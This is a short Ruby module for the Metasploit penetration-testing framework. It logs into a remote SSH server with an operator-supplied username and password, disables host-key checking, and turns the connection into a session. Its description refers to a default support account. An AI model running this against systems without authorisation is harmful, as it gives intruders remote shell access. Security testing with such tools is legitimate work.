##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'net/ssh'
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Login to ssh with username/password',
			'Description'    => %q{
					Default support user + bad input validation
			},
			'Author'         => [ 'alhazred' ],  
			'License'        => MSF_LICENSE,
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 1024,
					'Compat'      =>
						{
              'PayloadType' => 'ssh',
              'ConnectionType' => 'ssh',
						}
				},
			'Platform'       => ['ssh'],
			'Arch'           => ARCH_SSH,
			'Targets'        => [[ 'Automatic', { }]],
			'DefaultTarget' => 0))
      
		register_options(
			[
				Opt::RPORT(22),
        Opt::RHOST,
        OptString.new('USER', [ true, "The username to use" ]),
        OptString.new('PASS', [ true, "The password to use"]),
			], self.class)
	end

	def exploit
    print_status("Connecting to #{datastore['USER']}@#{datastore['RHOST']}:#{datastore['RPORT']} with password #{datastore['PASS']}")
    conn=Net::SSH.start(datastore['RHOST'],datastore['USER'],:password=>datastore['PASS'],:port=>datastore['RPORT'],:paranoid=>false)
    handler(conn)
	end

end
